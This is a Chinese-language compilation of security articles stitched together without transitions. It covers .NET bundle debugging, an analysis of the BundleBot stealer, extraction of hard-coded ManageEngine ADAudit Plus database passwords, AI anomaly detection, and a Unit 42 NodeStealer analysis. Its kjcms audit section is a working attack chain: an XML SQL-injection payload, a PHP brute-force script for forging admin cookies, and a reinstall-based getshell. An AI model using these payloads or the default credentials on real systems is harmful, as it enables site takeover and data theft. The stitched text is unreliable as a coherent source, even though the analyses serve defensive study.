幸運的是,最近發布的dnSpyEx版本(v6.4.0)改進了對這類文件的調試,因此我們應該不會再遇到這種異常,調試可以順利進行。

儘管我們可以在最新版本的dnSpyEx (v6.4.0)中調試自包含的dotnet bundle文件,但它無法解決作為dotnet bundle混淆的dotnet程序集的處理問題。

當dotnet二進製文件被編譯為一個自包含的包時,這僅僅意味著整個依賴項(尤其是dotnet運行時)是生成的應用程序的一部分,並且這樣的應用程序通過其配置文件被配置為使用它們。這些配置文件是在提取包和去混淆每個受保護程序集之後影響調試的主要問題。

為了解決這個問題,我們實際上可以將自包含的dotnet bundle文件轉換為非自包含的、非單文件的.NET程序。通過這種方式轉換的程序將被誘騙使用dotnet運行時,這是操作系統的一部分,所以我們必須確保安裝了它。

轉換步驟如下:

1.如上所示,提取dotnet bundle文件的內容;

2.查找要在操作系統中安裝的dotnet運行時版本並進行安裝。為了快速查找我們的.NET應用程序所依賴和需要安裝的具體dotnet運行時的版本信息,我們可以定位並檢查配置文件*[appname].runtimeconfig.json*和*[appname].deps.json*,它們應該在之前提取的內容中。

在下面的示例中,我們可以清楚地看到,需要安裝.NET Runtime 5.0.17, x86。

8.png

配置文件

9.png

需要安裝的dotnet運行時版本(Microsoft)

3.修改配置文件*[appname].runtimeconfig.json*和*[appname].deps.json*的內容。通過修改這些文件,我們將應用程序轉換為非自包含的、非單文件的.NET程序,並強制它使用已安裝的dotnet運行時版本。

修改*[appname]. runtimeeconfig .json*,將' includedFrameworks '字符串改為' frameworks '。

10.png

修改“[appname].runtimeconfig.json”

通過刪除來自“libraries”的“runtimepack”條目來修改*[appname].deps.json*。

11.png

修改“[appname]. depth .json”

4.運行和調試。自包含的dotnet bundle應用程序可以依賴於本機庫,這些庫可能是bundle的一部分,所以我們已經從內容中提取了它們,或者它們可以與bundle可執行文件一起單獨提供。通過檢查配置文件或運行配置文件,我們可以快速發現應用程序是否有這樣的依賴關係(在*[appname].deps.json*中定義),如下所示。

12.png

運行提取的bundle應用程序時出現依賴關係相關錯誤要解決這個問題,只需將bundle應用程序旁邊的所有依賴項複製到先前提取內容的位置。現在,調試應該像使用安裝在操作系統中的dotnet運行時的普通.NET應用程序一樣運行了。

13.png

在dnSpyEx中調試轉換的非自包含、非單文件的.NET應用程序

如果我們不處理作為dotnet bundle一部分的混淆的dotnet程序集,則不需要像上面那樣,因為使用最新版本的dnSpyEx (v6.4.0)可以直接調試它們。儘管如此,當我們處理混淆的程序集並傾向於以去混淆的形式調試它們時,仍然需要上面的操作方法。

如上所述,我們介紹了一種將自包含的dotnet bundle文件轉換為普通的dotnet程序集的通用方法,這取決於目標操作系統上預安裝的適當版本的dotnet運行時。這種方法應該適用於不同的操作系統平台(Windows、Linux、macOS)。

了解瞭如何提取自包含的dotnet bundle文件的內容以及如何對其進行調試後,我們就可以繼續進行分析了。

技術分析自帶的dotnet bundle格式,可加強分析和靜態檢測;

受簡單但有效的自定義模糊處理的影響;

濫用密碼保護的文件來進行最後階段的傳播;

最後階段是一個新的竊取程序BundleBot;

用於C2通信的自定義homebrew分組數據序列化。

下載程序技術分析下載階段的分析,請使用GoogleAI.exe示例SHA-256:“5ac212ca8a5516e376e0af83788e2197690ba73c6b6bda3b646a22f0af94bf59”。

此示例是一個32位自包含的dotnet bundle應用程序(.NET Core 3.0.3),其最初是RAR文件的一部分。提取該捆綁包後,主模塊GoogleAI.dll是一個下載程序,受簡單的自定義混淆影響,只有字符串和名稱(無意義的泰語文本)。

14.png

受簡單自定義混淆影響的下載程序

下載程序的PDB路徑:D:\BOT\RAT\RAT 4.0版\HashCode\BOT ADS Server 4\ClientDowload FB\ClientDowload\obj\Debug\netcoreapp3.0\win-x86\GoogleAI.PDB。

去混淆之後,主要功能駐留在名為ProcessMain的函數中。

15.png

下載程序的主要功能

其主要功能可以概括如下:

1.單例檢查;

2.下載使用隨機名稱和“.rar”擴展名保存的受密碼保護的ZIP文件;

3.從https://drive.google[.]com/uc?id=1-mC5c7o_B1VuS6dbQeDAAqLuPbfAV58Oexport=downloadconfirm=t下載文件;

4.將下載的文件屬性設置為“隱藏”;

5.將下載文件的內容提取到新創建的文件夾C:\Users\User\Documents\{random},密碼:alex14206985alexjyjyjj;

6.將新創建的文件夾和其中所有“.exe”文件的屬性設置為“隱藏”;

7.刪除下載的文件;

BundleBot以自包含的dotnet bundle文件的形式出現,是下載的受密碼保護文件的主要部分,並由下載程序執行。值得注意的是,所有分析的下載程序都包含相同的硬編碼密碼alex14206985alexjyjyjj(明文或base64編碼)來開始下一階段地提取。

BundleBot技術分析對BundleBot階段的分析,使用了示例RiotClientServices.exe,SHA-256:“6552a05a4ea87494e80d0654f872f980cf19e46b4a99d5084f9ec3938a20db91”。

這個示例是一個32位的自包含dotnet bundle應用程序(.NET 5.0.17),最初是受密碼保護的ZIP文件的一部分。在提取這個包之後,它的主要惡意組件是主模塊RiotClientServices.dll和庫librarysharing.dll。

程序集RiotClientServices.dll是一個新的自定義的竊取程序,它使用庫libarysharing .dll來處理和序列化作為惡意通信的一部分發送到C2的數據包數據。

這些二進製文件受到類似的自定義混淆的影響,這些混淆主要集中在名稱混淆和用大量垃圾代碼填充這些dotnet模塊。這樣的混淆將導致大量的方法和類,這將使分析變得更加困難,並且需要創建自定義的去混淆器來簡化分析過程。

在去混淆之前,RiotClientServices.dll的大小約為11MB,包含26742個方法和902個類。在libarysharing .dll示例中,混淆導致二進制大小約為10MB,包含32462個方法和9473個類。

16.png

“librarysharing .dll”的模糊代碼:類“Serialize”

正因為如此,我們快速設計了一個簡單的去混淆器,它適用於所有受類似自定義混淆影響的二進製文件。這個去混淆器使用AsmResolver和PowerShell來清理垃圾代碼,並且仍然進行調試。

17.png

去混淆後,我們可以將方法和類的大小、數量減少到:

1.RiotClientServices.dll大小≈124KB, 158個方法,35個類;

2.LirarySharing.dll大小≈30KB, 220個方法,28個類

0x00 前言本文記錄從零開始搭建ADAudit Plus漏洞調試環境的細節,介紹數據庫用戶口令的獲取方法。

0x01 簡介本文將要介紹以下內容:

ADAudit Plus安裝

ADAudit Plus漏洞調試環境配置

數據庫用戶口令獲取

0x02 ADAudit Plus安裝1.下載全版本下載地址:https://archives2.manageengine.com/active-directory-audit/

2.安裝安裝參考:https://www.manageengine.com/products/active-directory-audit/quick-start-guide-overview.html3.測試訪問https://localhost:8081

0x03 ADAudit Plus漏洞調試環境配置方法同Password Manager Pro漏洞調試環境配置基本類似

1.開啟調試功能(1)定位配置文件

查看java進程的信息,這里分別有兩個java進程,對應兩個不同的父進程wrapper.exe,如下圖

wrapper.exe的進程參數分別為:

“C:\Program Files\ManageEngine\ADAudit Plus\bin\Wrapper.exe” -c “C:\Program Files\ManageEngine\ADAudit Plus\bin\.\conf\wrapper.conf”

“C:\Program Files\ManageEngine\ADAudit Plus\bin\wrapper.exe” -s “C:\Program Files\ManageEngine\ADAudit Plus\apps\dataengine-xnode\conf\wrapper.conf”

這裡需要修改的配置文件為C:\Program Files\ManageEngine\ADAudit Plus\conf\wrapper.conf

(2)修改配置文件添加調試參數

找到啟用調試功能的位置:

2.png

將其修改為

3.png

注:

序號需要逐個遞增,此處將wrapper.java.additional.3=-Xdebug修改為wrapper.java.additional.25=-Xdebug

(3)重新啟動相關進程

關閉進程wrapper.exe和對應的子進程java.exe

在命令行下執行命令:

微信截图_20230425165255.png

2.常用jar包位置路徑:C:\Program Files\ManageEngine\ADAudit Plus\lib

web功能的實現文件為AdventNetADAPServer.jar和AdventNetADAPClient.jar

3.IDEA設置設置為Remote JVM Debug,遠程調試成功如下圖

4.png

0x04 數據庫用戶口令獲取默認配置下,ADAudit Plus使用postgresql存儲數據,默認配置了兩個登錄用戶:adap和postgres

1.用戶adap的口令獲取配置文件路徑:C:\Program Files\ManageEngine\ADAudit Plus\conf\database_params.conf,內容示例:

5.png 6.png

其中,password被加密,加解密算法位於:C:\Program Files\ManageEngine\ADAudit Plus\lib\framework-tools.jar中的com.zoho.framework.utils.crypto-CryptoUtil.class

經過代碼分析,得出以下解密方法:

密鑰固定保存在C:\Program Files\ManageEngine\ADAudit Plus\conf\customer-config.xml,內容示例:

7.png

得到密鑰:CryptTag為8ElrDgofXtbrMAtNQBqy

根據以上得到的密文cb26b920b56fed8d085d71f63bdd79c55ea7b98f8794699562c06ea1bedbec52087b394f和密鑰8ElrDgofXtbrMAtNQBqy,編寫解密程序,代碼如下:

8.png 9.png 10.png

11.png

程序運行後得到解密結果:Adaudit@123$

拼接出數據庫的連接命令:'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33307 dbname=adap user=adaudit password=Adaudit@123$'

連接成功,如下圖

12.png

2.用戶postgres的口令獲取口令硬編碼於C:\Program Files\ManageEngine\ADAudit Plus\lib\AdventnetADAPServer.jar中的com.adventnet.sym.adsm.common.server.mssql.tools-ChangeDBServer.class-isDBServerRunning(),如下圖

13.png

得到用戶postgres的口令為Stonebraker

拼接出數據庫的連接命令:'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33307 dbname=adap user=postgres password=Stonebraker'

連接成功,如下圖

14.png

一條命令實現連接數據庫並執行數據庫操作的命令示例:'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' --command='SELECT * FROM public.aaapassword ORDER BY password_id ASC;' postgresql://postgres:Stonebraker@127.0.0.1:33307/adap

返回結果示例:

15.png

發現password的數據內容被加密

0x05 小結在我們搭建好ADAudit Plus漏洞調試環境後,接下來就可以著手對漏洞進行學習。

如何應用人工智能來檢測社交媒體上的異常情況人工智能和機器學習算法是異常檢測系統的核心,因為它們負責分析社交媒體上的異常帖子。根據您的目標,您可以讓人工智能處理各種類型的內容、評估帳戶的可信度、分析特定類型的異常情況等。

我們來看看AI 對不同類型內容進行異常檢測的能力:

image.png

文本分析。除了TikTok 和YouTube 等以視頻為中心的平台外,流行社交媒體渠道上的大多數帖子都是基於文本的。使用人工智能分析它們可以為您提供比簡單的關鍵字搜索更多的信息。人工智能可以確定作者的情緒、解釋隱喻、破譯網絡俚語和編碼信息。它甚至可以理解幽默並檢測虛假陳述。這些人工智能功能可幫助異常檢測軟件標記異常並進行徹底分析。

圖像分析。基於人工智能的圖像分析有助於識別圖像內容:文本、對象和整體上下文。從圖像中讀取文本可以處理帶有文本疊加的帖子,這在Facebook 等平台上很流行。圖像處理算法從圖像中挑選出文本後,文本分析算法可以像處理普通文本記錄一樣處理它。

當涉及到圖片、屏幕截圖和其他圖像時,您可以使用各種圖像處理算法來識別對象、分割和分類圖像、搜索模式等。您還可以使用AI修復圖像失真,以改善分析結果。

視頻分析。仔細分析後,社交媒體上發布的視頻可能是安全相關信息的重要來源。人工智能算法可以檢測物體、動作、人,甚至識別情緒,並對不同的視頻進行分類。他們可以幫助偵查暴力、尋找失踪人員,並在大型活動中提供安全概覽。

請注意,與構建用於分析文本和圖像的解決方案相比,構建用於視頻分析的AI 解決方案是一項更具挑戰性但可以實現的任務。它需要收集不同的數據庫,進行廣泛的算法訓練,並使用大量的硬件能力來處理視頻。

現在讓我們看一下對於社交網絡異常檢測有用的人工智能算法的任務。請記住,解決方案的SaaS 部分可以執行所有非智能任務,例如網絡爬行和存儲數據。

image.png

上下文感知文本翻譯。對於國際組織來說,發現世界各地社交媒體上的異常帖子非常重要。此任務需要異常檢測軟件中的翻譯模塊。使用非人工智能翻譯器會降低軟件的效率,因為此類翻譯器不擅長處理上下文、隱喻和引用、語法錯誤和拼寫錯誤。

相反,您可以添加DeepLPython 庫中的API、OpenAI 中的ChatGPT 、Google Cloud 中的Translation AI或任何其他翻譯服務。選擇一項時,請考慮您的軟件使用的技術、開發團隊的專業知識、人工智能服務的功能以及翻譯成本。

威脅概率估計。並非社交媒體上所有不尋常的帖子都必須被標記為可疑。例如,網上的激烈爭論可能不會產生任何結果,或者會導致現實世界的騷擾。人工智能可以估計威脅真實存在的概率。為此,算法可以評估作者是人類還是機器人,分析作者之前的帖子,並確定可疑帖子的情緒。

威脅評估的結果將幫助審查社交媒體異常的專家做出決策,並對異常情況做出更快的反應,從而證明響應的合理性。對於此任務,您可以使用現成的AI 模型進行時間序列分析和自然語言處理。您還可以利用spaCY、NLTK、scikit-learn和Gensim等Python 庫。

風險分類和評分。除了評估威脅之外,人工智能和機器學習算法還可以評估已發現異常的重要性或嚴重性,並為其分配風險評分。風險評分可幫助使用異常檢測系統的專家儘早、快速地解釋結果並做出響應。

由於風險評估是AI 和ML 的常見用例,因此有許多適用於各種任務、行業和特定案例的風險分類AI 算法[PDF]。您可以找到一種或多或少適合您的項目的算法,而不是從頭開始開發算法。但是,請記住,您需要使用數據集訓練此算法,並根據您的特定任務進行調整。

儘管功能強大,人工智能驅動的異常檢測仍然嚴重依賴與該系統合作的專家。人工智能只能準備有關異常的信息供人類審查,從而節省專家的時間和精力。但它無法對威脅概率做出最終決定並選擇處理異常的最佳方法。

異常檢測解決方案的效率還很大程度上取決於其實施的好壞。讓我們看看您在進行異常檢測時可能面臨的主要挑戰以及如何克服這些挑戰。

構建基於SaaS 的異常檢測解決方案面臨哪些挑戰?提供如此復雜的解決方案需要雲應用程序開發、人工智能開發甚至合規法方面的專業知識。以下是您的團隊在開發社交媒體異常檢測SaaS 解決方案時可能遇到的主要挑戰:

image.png

用於人工智能訓練的數據集。任何人工智能算法都需要在相關數據集上進行訓練,然後才能應用於現實場景。準備用於異常檢測的數據集包含幾個挑戰。異常檢測算法必須依賴於準確、一致、有效和平衡的數據來進行有效的異常檢測。必鬚根據算法應檢測的異常類型來標記數據。數據集還必須定義什麼構成正常數據和異常數據。

找到適合特定用途的現成數據集幾乎是不可能的,這就是開發團隊經常手動創建數據集的原因。此過程可能非常耗時,並且需要開發和領域專業知識。另外,請記住,您的解決方案在發布後可能需要額外的培訓,以提高其結果的準確性或教它檢測新威脅。

API 限制。在異常檢測解決方案中包含第三方組件及其API 是減少開發時間和成本的好方法。但是,它為您的解決方案帶來了一系列限制。例如,API 限制可能會限制可訪問的數據量和類型,這可能會阻礙異常檢測解決方案的準確性和有效性。 API 還可能具有限制請求頻率和數量的速率限制。此外,API 方面的任何更新都可能破壞集成功能或引入安全風險。

完全預測和克服與API 相關的挑戰是不可能的,但您可以在集成第三方產品之前通過徹底研究第三方產品來為這些挑戰做好準備。

雲硬件的價格。人工智能算法可能需要大量計算能力來處理信息。在雲服務上託管異常檢測解決方案可以讓您避免人工智能發展熱潮導致的硬件瓶頸、擴展問題和可能的硬件短缺。然而,如果不調整算法,租用雲資源的成本可能會快速上升。

為了控制云成本,請明確定義您要監控哪些社交媒體內容以及您希望軟件處理多少信息。確保人工智能僅執行需要智能算法的任務,所有其他任務均由資源消耗較少的非人工智能工具完成。

監管合規性。監控社交媒體的異常檢測解決方案需要存儲有關檢測到的異常和分析結果的信息。根據法律要求保護這些信息可以讓您既確保數據安全又避免違規問題。

這裡的挑戰是缺乏使用人工智能進行異常檢測的法規。雖然沒有專門針對此類解決方案的實踐,但您可以依賴GDPR 等國際法規以及當地的數據保護法律和標準。

內置偏置。人工智能解決方案不可能完全沒有偏見和公平,因為它繼承了創建它的開發團隊的偏見。該團隊根據他們的經驗、心態以及社會和專業背景選擇算法、開發工具和數據進行培訓。人工智能偏見給異常檢測帶來了道德和質量挑戰。

雖然不可能完全消除偏見,但您可以通過以下方式降低將偏見引入AI 模型的風險:

提高開發過程的透明度

收集多樣化的訓練數據集

廣泛測試您的解決方案

聚集多元化的項目團隊

需要利基專業知識。提供複雜的人工智能解決方案需要您聚集具有不同專業知識的專家:人工智能和機器學習開發、SaaS 開發、雲基礎設施管理、網絡安全、目標行業的專業經驗。組建如此多元化的團隊對任何公司來說都是一個挑戰。保留專家團隊也會導致預算增加。

結論監控社交媒體並檢測異常帖子可以幫助您完成各種任務:防止安全威脅、打擊恐怖主義、發現新趨勢和主題等等。使用人工智能進行異常檢測可以幫助專家節省手動工作時間並進行更高質量的異常分析。與手動異常檢測相比,在雲中部署此類解決方案可以降低維護成本並提高準確性。

0x00 前言

打开链接,发现是一个luo聊的app下载,夜神+burp抓包
图片获取到网址,通过js的文件特征去github查找源码文件图片根据代码发现他是一个kjcms,然后去官网下载源码来进行审计

0x01  sql注入

在cls_weixin::on_exe方法中,有许多执行sql语句的点图片这里注入需要满足$arr_msg[‘FromUserName’]可控,发现$arr_msg变量调用了当前类的get_msg()方法,跟进这个方法:static function get_msg() {    $arr_return = array();    $cont = file_get_contents("php://input");    //$cont = file_get_contents(KJ_DIR_ROOT . "/test.txt");    if(empty($cont)) return $arr_return;    $request = simplexml_load_string($cont , 'SimpleXmlElement' , LIBXML_NOCDATA);    $arr_return = fun_format::toarray($request);    return $arr_return;}发现$cont是通过post数据流获取的,传入的xml,继续跟进fun_format::toarraystatic function toarray($cont) {    if(gettype($cont) == "string") $cont = json_decode($cont);    $arr = (array)$cont;    foreach($arr as $item=>$key) {        if(gettype($key) == 'object' ) {            $key = self::toarray($key);        } else if(gettype($key) == 'array'){            $key = self::objtoarray($key);        }        $arr[$item] = $key;    }    return $arr;}这里不太重要,只是把xml的值转化为数组,所以在on_exe方法中的$arr_msg数组是可控的,即可以产生sql注入,经过本地测试发现,在on_exe方法中的数据查询很多都不存在表,这里发现一个点:图片跟进tab_weixin_message::get_one方法,参数$key是我们可控的,参数$site_id无关紧要图片全局查找cls_weixin::on_exe,在根目录weixin.php调用了这个方法<?phpinclude("inc.php");if(isset($_GET["echostr"])) {    echo $_GET["echostr"];exit;}cls_weixin::on_exe();现在就只需要构造payload了,这里要进入到执行tab_weixin_message::get_one方法,需要进过:
issert($arr_msg['ToUserName'])->issert($arr_msg['FromUserName'])->$arr_msg['MsgType'] == 'event'->$arr_msg['Event']) == 'click'
图片
这个点只能时间盲注,在我本地测试的时候可以通过updatexml(1,if(({}),0x7c,1),1)的方法来实现时间盲注变成布尔注入,目标环境问题无法实现,我就写了个脚本去跑账号密码。图片发现自己傻逼了,在目录文件中会生成数据库报错的文件,路径为:/data/error/db_query/2020_09_16.txt(年份_月份_日.txt)图片知道表结构和字段,直接去目标站注入,拿到后台密码hash,发现解密不了,看了下代码,有盐,是通过md5(pass+盐)进行加密的,这里盐也是在密码表中可以看到的,发现也解密不了。

0x02  伪造cookie

在登录处,发现cookie中的kj_s_id和kj_login_time是用来登录的,感觉可以伪造,这里我跟进下代码,看下kj_s_id是怎么生成的,验证登录处代码:
function act_login_verify() {        $arr_return = $this->on_login_verify();        return fun_format::json($arr_return);    }跟进on_login_verify方法function on_login_verify() {    $arr_return = array("code" => 0 , "id"=>0 , "msg" => cls_language::get("login_ok"));    $arr_fields = array(        "user_name" => fun_get::post("uname"),        "user_pwd"   => fun_get::post("pwd"),        "verifycode" => fun_get::get("verifycode"),        "autologin" => fun_get::get("autologin")    );    if(!fun_is::pwd($arr_fields["user_pwd"])) {        $arr_return["code"] = 7;        $arr_return["msg"]  =  fun_get::rule_pwd("tips");        return $arr_return;    }    $arr = cls_obj::get("cls_user")->on_login($arr_fields);    if( $arr["code"] != 0 ) {        $arr_return = $arr;        return $arr_return;    }    return $arr_return;}$arr_fields数组中获取登录的账号密码,继续跟进on_login方法图片$str_id是通过fun_get::safecode方法来的,现在只需要$perms[‘sid’]是怎么来的,跟进查看,并没发现到什么,这里,我直接打印出self::$perms[‘sid’]的值,发现是ip+时间戳+随机数的形式
echo self::$perms['sid'];exit;
图片发现这里数据存放在数据库的kj_sys_session表中的session_id字段,而session_user_id表示是否登录在,1表示登录在,0表示退出了登录。图片我们有注入点,这个session_id我们可以通过注入来获取到的,现在跟进fun_get::safecode方法,看cookie中的kj_s_id是怎么加密的图片跟进$str_key变量,看他是从哪里来的,跟进cls_config::MD5_KEY,发现他来自data\config\cfg.env.online.php中的MD5_KEY常量。而这个常量是安装的时候随意random的五位数图片最后获取的$str_return是由3部分组成$str_left,base64($msg_val),$str_right,所以这个$str_key变量需要我们继续爆破,并且知道fun_get::safecode方法的$msg_val参数是ip+时间戳+随机数的形式,下面就进行漏洞复现。

0x03 漏洞复现

首先抓取目标站后台登录时的cookie,如:NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg,假设我的ip地址为104.192.225.86,通过base64为MTAzLjE5Mi4yMjUuODY=,去掉=。本地经过测试发现ip+时间戳+随机数通过base64编码后为36位,所以上面的加密密文就为:
Ng
MTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUY
TBjZmVkN2ZmMzY2OTYzYg
我们通过注入获取$msg_val参数和登录状态<?xml version="1.0"?><note>    <ToUserName>cccc</ToUserName>    <FromUserName>1</FromUserName>    <MsgType>event</MsgType>    <Event>click</Event>    <EventKey>1' and updatexml(1,concat(0x7e,(select concat(session_id,0x7e,session_user_id) from `kj_sys_session` order by session_user_id desc limit 0,1),0x7e),1)#</EventKey></note>图片成功读取到了,这里就需要爆破MD5_KEY,他是五位数的,用他的代码修了下php的爆破脚本<?phpfunction safecode($msg_val,$msg_type="encode",$str_key_val = '36118'){ // 192.168.50.1351600069125552        $str_key       = $str_key_val;        $str_en_key    = base64_encode($str_key);        $str_md5_key   = md5($str_key);        $str_md5_key_1 = substr($str_md5_key , 0 , 1);        $str_md5_key_2 = substr($str_md5_key , -1 , 1);        $lng_key_1     = ord($str_md5_key_1);        $lng_key_2     = ord($str_md5_key_2);        $lng_x_key1    = substr($lng_key_1,-1,1);        if($lng_key_1 > 9) {            $lng_x_key2 = intval(substr($lng_key_1 , -2 , 1)) + $lng_x_key1;        }else{            $lng_x_key2 = $lng_x_key1 * 2;        }        $str_left      = base64_encode(substr($str_md5_key , $lng_x_key1 , $lng_x_key2));        $lng_2_key1    = substr($lng_key_2 , -1 , 1);        if($lng_2_key1 > 9){            $lng_2_key2 = intval(substr($lng_key_2 , -2 , 1)) + $lng_2_key1;        }else{            $lng_2_key2 = $lng_2_key1 * 2;        }        $str_right = base64_encode(substr($str_md5_key , -$lng_2_key2));        if($msg_type == "encode"){            $str_en_id   = base64_encode($msg_val);            $str_en_code = $str_left . $str_en_id . $str_right;            $str_return  = str_replace("=" , "" , $str_en_code);        }else{            $str_left    = str_replace("=" , "" , $str_left);            $str_right   = str_replace("=" , "" , $str_right);            $str_llen    = strlen($str_left);            $str_rlen    = strlen($str_right);            $str_len     = strlen($msg_val);            if($str_len < ($str_llen + $str_rlen)){                $str_return = "";            }else{                $str_return = base64_decode(substr($msg_val , $str_llen , -$str_rlen));            }        }        return $str_return;    }

function getNumber($start=1,$end=99999){    for ($i=$start; $i <= $end; $i++) {         $arr[] = substr(str_repeat("0",6).$i,-5,5);    }    return $arr;}
$numbers= getNumber(1,99999);foreach ($numbers as $val){    $keyss = safecode('105.112.215.421600227695831','encode',$val)."<br />";    echo $keyss.':'.strval($val)."<br />";    if ($keyss == 'NgMTAzLjE5Mi4yMjUuNDIxNjAwMjI3Njk1ODMxYTBjZmVkN2ZmMzY2OTYzYg'){        echo $val;        exit;    }}成功获取到了MD5_KEY,然后我们在通过这个脚本利用这个MD5_KEY来生成kj_s_id图片最后就可以伪造cookie登录后台了图片图片

0x04  重装漏洞getshell

本来以为后台可以直接修改文件上传的后缀,发现事情并没有那么简单图片发现还是限制了php无法上传,跟进这部分代码看了下,lib\tab\tab.other.attatch.php图片这里会先获取上传文件的后缀,来判断后缀是否存在$arr_no_allow_ext数组中,所以会先判断数组里面的上传类型,在判断允许上传的类型。这里只有针对windows可以getshell了,我们将上传类型修改成php(空格),由于windows特性,会把空格去掉。图片然而我们的目标是linux,这种方式不行了,再回来看看代码后台是否有getshell的点,除了在重新安装的点就没发现可以shell的点了(自己太菜了,找到不影响正常功能shell的点)。在文件app\model\install\mod.index.php中的on_config方法:图片mysql的账号密码是通过file_put_contents函数写入到配置文件\data\config\cfg.env.online.php,并没有通过这个cms的过滤函数fun_get::get/post方法,这个方法过滤如下:static function filter_base($str_x , $is_reback=false) {    $search = array("&amp;","&","/amp;/amp;/amp;",'"',"'","<",">",chr(13).chr(10));    $replace = array("/amp;/amp;/amp;","&amp;","&amp;","&quot;","&#039;","&lt;","&gt;",chr(13));    if($is_reback) {        $str_x = str_replace($replace , $search , $str_x);        $str_x = str_replace('\\\'',"'",$str_x);//替换经过mysql转义的格式        $str_x = str_replace('\\"','"',$str_x);    }else{        $str_x = str_replace($search , $replace , $str_x);    }    return $str_x;}全局查了下,$is_reback参数都是为默认的false,为true的话,这个过滤就没啥影响了。现在重装漏洞的点可以实现了,需要一处任意文件删除来将\data\install.inc锁文件进行删除就可以重新安装了。在后台系统日志处,有一次日志文件删除的点,这个点不用看代码都知道可以删除,因为在fun_get::get/post方法中并没有过滤/``.图片删除了install.inc锁文件就可以进行重新安装了。在数据库名填上我们的任意php代码,就可以shell了。图片重装漏洞虽然可以拿下shell但是不推荐使用重装漏洞会影响正常网站的数据


转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486466&idx=1&sn=121b62ef2740e8474119c3914d363e4c&chksm=ce67a69bf9102f8deac87602cbb4504f9a59336fb0113f728164c65048d0962f92dd2dd66113&scene=21#wechat_redirect

Malware-r3d2.png

Unit 42的研究人員最近發現了一個以前未被報導的網絡釣魚活動,該活動傳播了一個信息竊取器,該信息竊取器可以完全接管攻擊目標Facebook的商業賬戶。 Facebook的商業賬戶受到了網絡釣魚誘餌的攻擊,這些誘餌提供了商業電子表格模板等工具。這是攻擊者以Facebook商業賬戶為目標的日益增長的趨勢的一部分,目的是廣告欺詐和其他目的,這一趨勢在2022年7月左右隨著Ducktail信息竊取者的發現而出現。

大約8個月後,即2023年3月,據報導,偽裝成ChatGPT Chrome擴展的新變種FakeGPT竊取了Facebook廣告帳戶。 Unit 42還報導了2023年4月以ChatGPT為主題的詐騙攻擊。 2023年5月,Meta發布了一份名為NodeStealer的新信息竊取惡意軟件報告,該報告描述了2022年7月編譯的惡意軟件和2023年1月發現的涉及NodeSteiler的惡意活動。 NodeStealer允許攻擊者竊取瀏覽器cookie來劫持平台上的賬戶,特別是針對商業賬戶。

在調查這一增長趨勢時,研究人員發現了一場始於2022年12月左右的活動,此前沒有被報導過。

在活動中傳播的信息竊取器與Meta分析的2022年7月用JavaScript編寫的NodeStealer變體有許多相似之處。然而,新的攻擊活動涉及兩個用Python編寫的變體,這些變體使用額外的功能進行了改進,攻擊者為這些變體配備了加密貨幣竊取功能、下載功能和完全接管Facebook商業賬戶的功能。

NodeStealer給個人和組織帶來了巨大的風險。除了對Facebook商業賬戶(主要是金融賬戶)的直接影響外,該惡意軟件還竊取瀏覽器的憑證,這些憑證可用於進一步的攻擊。

在本文中,我們將介紹一些未報導的針對Facebook商業賬戶的網絡釣魚活動,並將對惡意軟件進行深入分析。此外,我們將通過Cortex XDR(設置為僅檢測模式)的方式展示惡意軟件的操作過程。我們將為Facebook商業賬戶所有者如何保護他們的賬戶提供建議。雖然這一活動不再活躍,但有跡象表明,其背後的攻擊者可能會繼續使用和發展NodeStealer,或使用類似技術繼續針對Facebook商業賬戶。也有可能對以前受到該攻擊的組織進行持久性攻擊。

網絡釣魚活動從分析數據來看,信息竊取者的主要攻擊手段是網絡釣魚活動。網絡釣魚活動發生在2022年12月,提供了兩種信息竊取的變體,為了方便講解,我們在本文中將其稱為變體#1和變體#2。

此次活動的主題是為企業提供廣告材料。該攻擊者使用多個Facebook頁面和用戶發布信息,誘導受害者從已知的雲文件存儲提供商那裡下載鏈接。點擊後,一個.zip文件被下載到設備上,其中包含惡意的信息竊取程序可執行文件。

1.png

Facebook釣魚帖子誘導受害者下載受感染的.zip文件

變體#1分析該活動中信息竊取程序的第一個變體在內部命名為word.exe。它是用Nuitka編譯的,攻擊者為文件使用了一個唯一的產品名稱:Peguis。

2.png

word.exe的元數據

變體#1的進程樹非常“嘈雜”,這意味著它創建了多個進程並執行了許多被認為是異常活動的指示的操作,並且不是非常秘密,包括呈現給用戶的彈出窗口。

主要功能如上所述,NodeStealer的目標是Facebook的商業賬戶。變體#1有一些額外的功能,這使它能夠實現以下功能:

竊取Facebook商業賬戶信息;

下載其他惡意軟件;

通過GUI(圖形用戶界面)禁用Windows Defender;

MetaMask(加密貨幣錢包)盜竊;

竊取Facebook商業賬戶信息。

惡意軟件執行時的第一件事是檢查是否有Facebook商業帳戶登錄到受感染設備的默認瀏覽器。它通過連接到https://business.facebook.com/ads/ad_limits/並檢查標頭來實現這一點。

3.png

使用Facebook的Graph API竊取信息

如果確實有一個Facebook商業帳戶登錄,惡意軟件會連接到Graph API(Graph.Facebook.com),並通過標頭竊取用戶ID和訪問令牌。

根據Meta的說法,“Graph API是將數據輸入和輸出Facebook平台的主要方式。這是一個基於http的API,應用程序可以使用它以編程方式查詢數據、發布新故事、管理廣告、上傳照片以及執行各種各樣的其他任務。”

NodeSteiler使用Graph API來竊取目標的信息,包括:關注者數量、用戶驗證狀態、帳戶信用餘額、帳戶是否預付以及廣告信息。

惡意軟件還通過向https://www.facebook.com/ajax/bootloader-endpoint/?modules=AdsLWIDescribeCustomersContainer.react發送請求來獲取Facebook JavaScript模塊adslwidcribecustomerscontainer的內容。

該JavaScript模塊是Facebook廣告平台的一部分,用於描述和管理Facebook廣告中的自定義受眾。自定義受眾允許廣告商根據特定人群的人口統計、興趣、行為或其他標準瞄準特定人群,惡意軟件竊取這些信息並將其發送到其命令和控制服務器(C2)。

除了竊取有關Facebook商業賬戶的信息外,該惡意軟件還旨在竊取這些賬戶的憑證。為了做到這一點,它會在以下瀏覽器的cookie和本地數據庫中檢查Facebook用戶和密碼:Chrome、Edge、Cốc cốc、 Brave和Firefox。

4.png

從瀏覽器的數據庫中竊取密碼

5.png

NodeStealer執行的警報,如Cortex XDR所示

